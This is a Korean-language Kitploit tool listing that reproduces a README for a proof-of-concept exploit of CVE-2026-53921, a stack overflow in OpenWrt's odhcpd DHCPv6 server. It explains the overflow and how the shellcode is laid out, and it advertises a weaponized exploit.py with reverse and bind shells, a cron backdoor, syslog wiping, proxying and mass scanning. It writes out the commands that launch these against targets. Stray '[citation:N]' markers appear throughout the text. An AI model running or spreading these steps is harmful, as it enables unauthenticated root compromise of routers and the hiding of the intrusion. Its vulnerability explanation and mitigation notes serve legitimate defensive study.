Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – odhcpd 스택 오버플로우 (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE에 대한 상세하고 포괄적인 취약점 Write-Up 및 Verifier & Multi-exploit. 이중 벡터(IA_NA/IA_PD) 오버플로우와 MIPS/ARM 셸코드, ROP 체인, SOCKS5 프록시, 지속성, 로그 삭제 및 대량 스캐닝을 포함합니다. 윤리적으로 사용하고, 법을 준수하세요. 🔒 | Kitploit
도구/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
Embedded Systems SecurityReconnaissanceExploit FrameworksIoT SecurityVulnerability AnalysisExploitationPost-ExploitationRed TeamingShellcode Generation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Payload Development
Binary Exploitation
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

CVE-2026-53921 – odhcpd 스택 오버플로우 (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE에 대한 상세하고 포괄적인 취약점 Write-Up 및 Verifier & Multi-exploit. 이중 벡터(IA_NA/IA_PD) 오버플로우와 MIPS/ARM 셸코드, ROP 체인, SOCKS5 프록시, 지속성, 로그 삭제 및 대량 스캐닝을 포함합니다. 윤리적으로 사용하고, 법을 준수하세요. 🔒

저장소 보기
671개월 전아직 검토되지 않음

CVE-2026-53921

CVE-2026-53921 – odhcpd 스택 오버플로우

CVE CVSS OpenWrt

⚠️ 교육 및 승인된 테스트 용도로만 사용하세요. 무단 사용은 불법입니다.


📖 취약점 개요

CVE-2026-53921은 OpenWrt의 odhcpd 데몬(기본 DHCPv6/DHCPv4/RA 서버)에서 발생하는 치명적인 스택 버퍼 오버플로우입니다.

🔍 작동 방식

취약점은 odhcpd의 DHCPv6 메시지 처리 코드, 특히 build_ia() 및 dhcpv6_ia_handle_IAs() 함수에 존재합니다.

기술 심층 분석

1. 근본 원인

이 버그는 DHCPv6 Reply 패킷의 직렬화(패킹) 과정에서 발생합니다. odhcpd가 클라이언트 요청에 응답할 때, 적절한 경계 검사 없이 512바이트 고정 크기 스택 버퍼에 응답을 구성합니다.

root@kitploit:~
// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // ❌ No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. 오버플로우 트리거

공격자는 다음과 같은 DHCPv6 Request(또는 Solicit)를 전송합니다:

  • 5개 이상의 IA_NA(비임시 주소용 ID 연관) 옵션으로, 각 옵션에는 IAAddress 하위 옵션이 포함됩니다.
  • 22개 이상의 IA_PD(프리픽스 위임용 ID 연관) 옵션.

각 옵션은 odhcpd가 Reply를 구성하면서 스택 공간을 소비합니다. 누적된 데이터가 512바이트를 초과하여 오버플로우가 발생합니다.

3. 두 가지 오버플로우 벡터


벡터 트리거 오버플로우 지점


사이트 1 IA_NA 옵션 5개 IA_NA용 build_ia() IPv6 주소 포함

사이트 2 IA_PD 옵션 22개 IA_PD용 build_ia()

근본 원인은 동일하지만 오버플로우가 서로 다른 코드 경로에서 발생하므로 두 벡터 모두 동일하게 악용할 수 있습니다.

4. 메모리 레이아웃

root@kitploit:~
Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

공격자는 저장된 리턴 주소를 덮어써서 메모리 내 자신의 셸코드를 가리키게 합니다.

5. 악용 요구 사항


요구 사항 설명


네트워크 접근 공격자는 대상에 대한 IPv6 연결이 필요함

인증 없음 -- 비인증 공격

권한 odhcpd가 root로 실행되므로 RCE 시 전체 시스템 제어 권한 획득

대상 서비스 UDP 포트 547(DHCPv6)이 열려 있어야 함

6. 셸코드 배치

실제 익스플로잇에서 공격자의 셸코드는 IAAddress IPv6 주소 필드(IA_NA당 16바이트)에 배치됩니다. 제작된 패킷은 셸코드, NOP 슬레드, 리턴 주소를 이 필드에 채워 넣습니다.

root@kitploit:~
Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. 영향 체인

root@kitploit:~
Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. 공격 벡터 vs. 완화 상태

버전 상태 RCE 가능?


odhcpd < e432dd6 취약 ✅ 예 OpenWrt < 24.10.8 취약 ✅ 예 OpenWrt < 25.12.5 취약 ✅ 예 OpenWrt 24.10.8+ 패치됨 ❌ 아니요 OpenWrt 25.12.5+ 패치됨 ❌ 아니요 odhcpd master + e432dd6 패치됨 ❌ 아니요

9. 실제 악용

이 취약점은 특히 다음과 같은 이유로 위험합니다:

  • OpenWrt 설치 시 odhcpd가 기본적으로 활성화됩니다.
  • 인증이 필요 없습니다. 동일한 IPv6 세그먼트에 있는 모든 장치가 공격할 수 있습니다.
  • 버그는 요청 처리 경로에 있습니다.
  • 임베디드 MIPS/ARM 장치에는 스택 카나리와 ASLR이 거의 없습니다.
  • 익스플로잇은 많은 임베디드 환경에서 일반적인 방어 기능을 우회할 수 있습니다.

🎯 영향을 받는 버전

구성 요소취약한 버전수정 버전
odhcpd (마스터 브랜치)커밋 e432dd6 이전e432dd6 이상
OpenWrt 릴리스< 24.10.8
< 25.12.5
24.10.8 및 25.12.5

🧰 도구

이 저장소는 두 개의 독립적인 스크립트를 제공합니다.

스크립트용도익스플로잇 코드안전성
verifier.py비침습적 취약점 확인❌ 아니요✅ 안전
exploit.py완전한 무기화 익스플로잇✅ 예⚠️ 위험

🔎 verifier.py – 취약점 확인 도구

  • 서비스 활성 상태를 확인하기 위해 표준 DHCPv6 Solicit을 전송합니다.
  • HTTP/SSH 배너를 읽어 OpenWrt 버전을 감지합니다.
  • 버전을 알려진 취약 범위와 비교합니다.
  • 오버플로우 페이로드나 셸코드를 전송하지 않습니다.

💥 exploit.py – 전체 익스플로잇

  • 이중 오버플로우 벡터: IA_NA(Site1) 및 IA_PD(Site2).
  • 자동 아키텍처 감지(MIPS / ARM).
  • MIPS 빅엔디언 리버스 및 바인드 셸코드.
  • SOCKS5 프록시 지원.
  • 지속성(cron 백도어) 및 로그 삭제.
  • 스레드 기반 스캐닝 및 대량 악용.
  • 선택적 페이로드 인코딩(XOR).

🚀 설치

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

📝 사용법

🔍 검증 도구 – 대상이 취약한지 확인

root@kitploit:~
sudo python3 verifier.py -u fe80::1%eth0 -i eth0

💥 익스플로잇 – 리버스 셸 획득 (불법 활동에 사용하지 말고 테스트 용도로만 사용하세요)

root@kitploit:~
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

⚙️ 명령줄 옵션

verifier.py

인자설명
-u, --target대상 IPv6 주소 (필수)
-i, --iface네트워크 인터페이스 (기본값: eth0)

exploit.py

🧪 예제 시나리오

1. 대상 목록 스캔

root@kitploit:~
sudo python3 exploit.py -l targets.txt --scan-only --threads 10
root@kitploit:~
### 2. Exploit a single target with bind shell
root@kitploit:~
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
root@kitploit:~
### 3. Use SOCKS5 proxy + persistence + log wiping
root@kitploit:~
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs

🛡️ 완화

OpenWrt를 24.10.8 또는 25.12.5 이상으로 업그레이드하세요.

root@kitploit:~
opkg update
opkg upgrade odhcpd

📌 참고 자료

공식 자료

  • OpenWrt 보안 권고 (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd의 두 오버플로우 벡터를 다루는 상세 권고.

  • CVE-2026-53921 NVD 항목 https://nvd.nist.gov/vuln/detail/CVE-2026-53921 NIST 공식 취약점 데이터베이스 항목.

  • OpenWrt 24.10.8 릴리스 노트 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 브랜치의 공식 릴리스 공지.

  • OpenWrt 25.12.5 릴리스 노트 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 브랜치의 공식 릴리스 공지.

동일 릴리스에서 수정된 관련 CVE

24.10.8 및 25.12.5 릴리스는 CVE-2026-53921 외에도 여러 odhcpd 취약점을 해결합니다 [citation:9]:

기술 분석 및 라이트업

  • The Hacker News 분석 https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html 취약점 및 악용 벡터에 대한 상세 기술 분석. [citation:1]

  • GitHub PoC 저장소 https://github.com/0xBlackash/CVE-2026-53921 공개 PoC 구현 및 기술 세부 정보. [citation:3]

25.12.5의 추가 보안 수정 사항

버전 25.12.5는 다른 핵심 구성 요소의 취약점도 해결합니다 [citation:10]:

  • uhttpd: HTTP 요청 스머글링 (CVE-2026-55612, CVE-2026-55614)
  • LuCI: 여러 권한 상승 및 XSS 결함
  • cgi-io: 인증된 경로 탐색
  • Linux Kernel: 다수의 CVE와 함께 6.12.94로 업데이트됨
  • OpenSSL: 다수의 CVE를 해결하는 3.5.7로 업데이트됨
  • Dropbear SSH: CVE-2019-6111 및 CVE-2026-35385 수정

보조 문서

  • OpenWrt 펌웨어 선택기 https://firmware-selector.openwrt.org/ 패치된 펌웨어 이미지를 장치에 맞게 다운로드하세요.

  • CISA 알려진 악용 취약점 카탈로그 https://www.cisa.gov/known-exploited-vulnerabilities-catalog CVE-2026-53921이 KEV에 등재되었는지 확인하세요(2026년 7월 27일 기준 미등재). [citation:1]

도구 다운로드
인자설명
-u, --target대상 IPv6 주소
-l, --list대상 목록이 포함된 파일
-i, --iface네트워크 인터페이스 (기본값: eth0)
--lhost리스너 IP (필수)
--lport리스너 포트 (기본값: 4444)
--vectorsite1, site2 또는 both (기본값: both)
--offset스택 오프셋 (기본값: 512)
--ret16진수 리턴 주소 (예: 0x7ffff000)
--archmips 또는 arm 강제 지정 (생략 시 자동 감지)
--payloadreverse 또는 bind (기본값: reverse)
--encodenone 또는 xor (기본값: none)
--proxy-hostSOCKS5 프록시 IP
--proxy-portSOCKS5 프록시 포트 (기본값: 1080)
--persistencecron 백도어 설치
--clear-logs악용 후 syslog 삭제
--scan-only대상만 스캔하고 악용하지 않음
--threads스캔용 스레드 수 (기본값: 5)
--verbose상세 로깅
CVE ID심각도설명
CVE-2026-53918높음DHCPv6 IA 핸들러의 use-after-free [citation:4][citation:9]
CVE-2026-53920높음잘린 DHCPv6 IA_NA/IA_PD 옵션을 통한 스택 메모리 노출 [citation:9]
CVE-2026-53922중간size_t 언더플로우를 통한 인증 전 서비스 거부 [citation:9]
CVE-2026-55606중간DUID 길이 엔디언 불일치로 인한 스택 버퍼 오버리드 [citation:9]
CVE-2026-62948-저장형 XSS로 이어지는 DHCPv6 호스트명 주입 [citation:1]
CVE-2026-62947-cgi-io의 인증된 경로 탐색 [citation:1]